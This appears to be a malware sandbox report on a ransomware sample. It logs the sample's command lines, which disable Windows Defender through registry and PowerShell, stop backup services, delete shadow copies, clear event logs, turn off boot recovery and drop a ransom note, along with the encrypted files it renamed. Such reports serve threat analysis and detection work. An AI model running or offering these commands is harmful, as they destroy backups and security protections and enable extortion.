PID 1912 wrote to memory of 1228 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\sc.exe
PID 1912 wrote to memory of 1228 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\sc.exe
PID 1912 wrote to memory of 1004 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\sc.exe
PID 1912 wrote to memory of 1004 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\sc.exe
PID 1912 wrote to memory of 1004 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\sc.exe
PID 1912 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\sc.exe
PID 1912 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\sc.exe
PID 1912 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\sc.exe
PID 1912 wrote to memory of 1500 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\sc.exe
PID 1912 wrote to memory of 1500 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\sc.exe
PID 1912 wrote to memory of 1500 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\sc.exe
PID 1912 wrote to memory of 876 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\sc.exe
PID 1912 wrote to memory of 876 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\sc.exe
PID 1912 wrote to memory of 876 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\sc.exe
PID 1912 wrote to memory of 868 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\sc.exe

Processes

C:\Users\Admin\AppData\Local\Temp\setup.exe

"C:\Users\Admin\AppData\Local\Temp\setup.exe"

C:\Windows\system32\net.exe

net.exe stop "NetMsmqActivator" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "NetMsmqActivator" /y

C:\Windows\system32\net.exe

net.exe stop "SamSs" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SamSs" /y

C:\Windows\system32\net.exe

net.exe stop "SDRSVC" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SDRSVC" /y

C:\Windows\system32\net.exe

net.exe stop "SstpSvc" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SstpSvc" /y

C:\Windows\system32\net.exe

net.exe stop "UI0Detect" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UI0Detect" /y

C:\Windows\system32\net.exe

net.exe stop "VSS" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "VSS" /y

C:\Windows\system32\net.exe

net.exe stop "wbengine" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "wbengine" /y

C:\Windows\system32\net.exe

net.exe stop "WebClient" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "WebClient" /y

C:\Windows\system32\sc.exe

sc.exe config "NetMsmqActivator" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SamSs" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SDRSVC" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SstpSvc" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "UI0Detect" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "VSS" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "wbengine" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "WebClient" start= disabled

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\vssadmin.exe

vssadmin.exe delete shadows /all /quiet

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl system

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl security

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl application

C:\Windows\System32\Wbem\wmic.exe

wmic.exe SHADOWCOPY /nointeractive

C:\Windows\System32\Wbem\wmic.exe

wmic.exe shadowcopy delete

C:\Windows\system32\bcdedit.exe

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\bcdedit.exe

bcdedit.exe /set {default} recoveryenabled no

C:\Windows\system32\cmd.exe

cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Program Files\Windows Defender\MpCmdRun.exe

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Windows\system32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\system32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\system32\notepad.exe

notepad.exe C:\n8pw_HOW_TO_DECRYPT.txt

C:\Windows\system32\cmd.exe

cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\setup.exe"

C:\Windows\system32\PING.EXE

ping.exe -n 5 127.0.0.1

Network

N/A

Files

memory/596-54-0x0000000000000000-mapping.dmp

memory/756-55-0x0000000000000000-mapping.dmp

memory/1240-56-0x0000000000000000-mapping.dmp

memory/1492-57-0x0000000000000000-mapping.dmp

memory/112-58-0x0000000000000000-mapping.dmp

memory/1852-59-0x0000000000000000-mapping.dmp

memory/688-60-0x0000000000000000-mapping.dmp

memory/900-61-0x0000000000000000-mapping.dmp

memory/1832-62-0x0000000000000000-mapping.dmp

memory/436-63-0x0000000000000000-mapping.dmp

memory/1812-64-0x0000000000000000-mapping.dmp

memory/1216-65-0x0000000000000000-mapping.dmp

memory/1328-66-0x0000000000000000-mapping.dmp

memory/1904-67-0x0000000000000000-mapping.dmp

memory/1752-68-0x0000000000000000-mapping.dmp

memory/632-69-0x0000000000000000-mapping.dmp

memory/1228-70-0x0000000000000000-mapping.dmp

memory/1004-71-0x0000000000000000-mapping.dmp

memory/2040-72-0x0000000000000000-mapping.dmp

memory/1500-73-0x0000000000000000-mapping.dmp

memory/876-74-0x0000000000000000-mapping.dmp

memory/868-75-0x0000000000000000-mapping.dmp

memory/1700-76-0x0000000000000000-mapping.dmp

memory/908-77-0x0000000000000000-mapping.dmp

memory/1636-78-0x0000000000000000-mapping.dmp

memory/2020-79-0x0000000000000000-mapping.dmp

memory/1704-80-0x0000000000000000-mapping.dmp

memory/1800-81-0x0000000000000000-mapping.dmp

memory/1316-82-0x0000000000000000-mapping.dmp

memory/1208-83-0x0000000000000000-mapping.dmp

memory/1200-84-0x0000000000000000-mapping.dmp

memory/1512-85-0x0000000000000000-mapping.dmp

memory/632-86-0x0000000000000000-mapping.dmp

memory/1628-87-0x0000000000000000-mapping.dmp

memory/1864-88-0x0000000000000000-mapping.dmp

memory/1076-89-0x0000000000000000-mapping.dmp

memory/560-90-0x0000000000000000-mapping.dmp

memory/1724-91-0x0000000000000000-mapping.dmp

memory/932-92-0x0000000000000000-mapping.dmp

memory/2004-93-0x0000000000000000-mapping.dmp

memory/1616-94-0x0000000000000000-mapping.dmp

memory/836-95-0x0000000000000000-mapping.dmp

memory/1120-96-0x0000000000000000-mapping.dmp

memory/1556-97-0x0000000000000000-mapping.dmp

memory/1660-98-0x0000000000000000-mapping.dmp

memory/1348-99-0x0000000000000000-mapping.dmp

memory/1964-100-0x0000000000000000-mapping.dmp

memory/1644-101-0x0000000000000000-mapping.dmp

memory/1944-102-0x0000000000000000-mapping.dmp

memory/1088-103-0x0000000000000000-mapping.dmp

memory/1116-104-0x0000000000000000-mapping.dmp

memory/1824-105-0x0000000000000000-mapping.dmp

memory/2024-106-0x0000000000000000-mapping.dmp

memory/1352-107-0x0000000000000000-mapping.dmp

memory/1080-108-0x0000000000000000-mapping.dmp

memory/1772-109-0x0000000000000000-mapping.dmp

memory/880-110-0x0000000000000000-mapping.dmp

memory/1060-111-0x0000000000000000-mapping.dmp

memory/1156-112-0x0000000000000000-mapping.dmp

memory/1156-113-0x000007FEFB931000-0x000007FEFB933000-memory.dmp

memory/1612-114-0x0000000000000000-mapping.dmp

memory/1684-116-0x0000000000000000-mapping.dmp

memory/1696-118-0x0000000000000000-mapping.dmp

memory/1484-119-0x0000000000000000-mapping.dmp

memory/2068-120-0x0000000000000000-mapping.dmp

memory/2164-122-0x000007FEF2A00000-0x000007FEF355D000-memory.dmp

memory/2164-123-0x0000000002810000-0x0000000002812000-memory.dmp

memory/2164-124-0x0000000002812000-0x0000000002814000-memory.dmp

memory/2164-125-0x0000000002814000-0x0000000002817000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 51130561d2e22c25f9e6fe284de11ef2
SHA1 583784e227e6c22a304088908ceb9211eaed4dae
SHA256 b3ac1c99c19aad0eed4ed93ccb9b8dae37440751ea61c470f44da767a4d64ac9
SHA512 e4adfbaacbce53c4910e26d93c82f70bd8418ed560246719061fd0fd5983d00920efdd421b8f4c0a06de3fe4488d41849fbfa5744c46b593fa0490418d59cf68

memory/2248-128-0x000007FEF2060000-0x000007FEF2BBD000-memory.dmp

memory/2164-129-0x000000000281B000-0x000000000283A000-memory.dmp

memory/2248-130-0x0000000002460000-0x0000000002462000-memory.dmp

memory/2248-131-0x0000000002462000-0x0000000002464000-memory.dmp

memory/2248-132-0x0000000002464000-0x0000000002467000-memory.dmp

memory/2248-133-0x000000001B790000-0x000000001BA8F000-memory.dmp

memory/2248-134-0x000000000246B000-0x000000000248A000-memory.dmp

C:\n8pw_HOW_TO_DECRYPT.txt

MD5 d3eca3baec61c36c9353ef1699b8bfca
SHA1 f084193262e0d462165cfac58e1422ab90df7514
SHA256 3ef5776a2dfd960f996ab765efa2b117d3e3135dc8e196aa7bdc525bd4125678
SHA512 8d8eb00e0764ea07a999d0f07bd21f4f4b8169f19673de0cea833670c38edd41792136a63036477bebeb2a0fbbca5f4faafb381f8fd4ffb178d4209e073e2a17

Analysis: behavioral2

Detonation Overview

Submitted

2022-01-05 13:01

Reported

2022-01-05 13:03

Platform

win10-en-20211208

Max time kernel

86s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\setup.exe"

Signatures

Deletes Windows Defender Definitions

evasion
Description Indicator Process Target
N/A N/A C:\Program Files\Windows Defender\MpCmdRun.exe N/A

Modifies Windows Defender Real-time Protection settings

evasion trojan

Modifies security service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" C:\Windows\SYSTEM32\reg.exe N/A

Clears Windows event logs

evasion ransomware

Deletes shadow copies

ransomware

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\bcdedit.exe N/A
N/A N/A C:\Windows\SYSTEM32\bcdedit.exe N/A

Modifies extensions of user files

ransomware
Description Indicator Process Target
File renamed C:\Users\Admin\Pictures\UnblockConvert.crw => C:\Users\Admin\Pictures\UnblockConvert.crw.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Users\Admin\Pictures\UnblockConvert.crw.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File renamed C:\Users\Admin\Pictures\UseRedo.crw => C:\Users\Admin\Pictures\UseRedo.crw.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Users\Admin\Pictures\UseRedo.crw.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File renamed C:\Users\Admin\Pictures\ExportComplete.raw => C:\Users\Admin\Pictures\ExportComplete.raw.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_DAAAAAwAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Users\Admin\Pictures\ExportComplete.raw.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_DAAAAAwAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File renamed C:\Users\Admin\Pictures\MountComplete.tif => C:\Users\Admin\Pictures\MountComplete.tif.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Users\Admin\Pictures\MountComplete.tif.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A

Reads user/profile data of web browsers

spyware stealer

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\2875_32x32x32.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\large\co_60x42.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\large\vg_60x42.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\AppxMetadata\CodeIntegrity.cat C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_download_pdf_18.svg.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_EgAAABIAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\hu-hu\ui-strings.js.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_EAAAABAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Tournament\GameModePyramid.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\2875_40x40x32.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\resources.pri C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring-fallback_zh_CN.jar.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_BgAAAAYAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019XC2RVL_KMS_ClientC2R-ppd.xrm-ms.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_GgAAABoAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\Assets\AlarmsAppList.targetsize-60.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.forms_3.6.100.v20140422-1825.jar.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_KgAAACoAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\SpeechToTextOverlay.winmd C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\new_icons_retina.png.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AgAAAAIAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\lv_get.svg.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Integration\C2RManifest.officemuiset.msi.16.en-us.xml.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-125_8wekyb3d8bbwe\Assets\contrast-black\iheart-radio.scale-125_contrast-black.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\326_24x24x32.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ko-kr\PlayStore_icon.svg.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Common Files\microsoft shared\ink\en-US\boxed-join.avi C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\en_get.svg.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PowerPointR_Retail-ul-phn.xrm-ms.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\Assets\Resources\cursorXBOX_normal.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\Assets\AppTiles\WeatherIcons\30x30\69.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\css\main.css.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\AppPackageMedTile.scale-125_contrast-white.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\Assets\SmallLogo.scale-100.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\Office365LogoWLockup.scale-180.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-black\HxA-Yahoo-Dark.scale-125.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\hi.txt.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365ProPlusEDUR_Subscription-ul-oob.xrm-ms.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_NgAAADYAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\youtube.luac.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_GgAAABoAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Arkadium.Win10.DailyChallenges\Assets\Popups\BronzeBadgeEarned.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\contrast-white\OneNoteAppList.targetsize-40_altform-unplated.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\zh-cn\ui-strings.js.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioProXC2RVL_KMS_ClientC2R-ppd.xrm-ms.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\resources.4919d9c8.pri C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\9434_20x20x32.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themeless\forms_poster.jpg.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_BgAAAAYAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\Assets\contrast-black\PeopleAppList.targetsize-80.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\WindowsPhoneReservedAppInfo.xml C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\Assets\GamesXboxHubSmallTile.scale-100_contrast-white.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Snippets\ShouldThrow.snippets.ps1xml C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
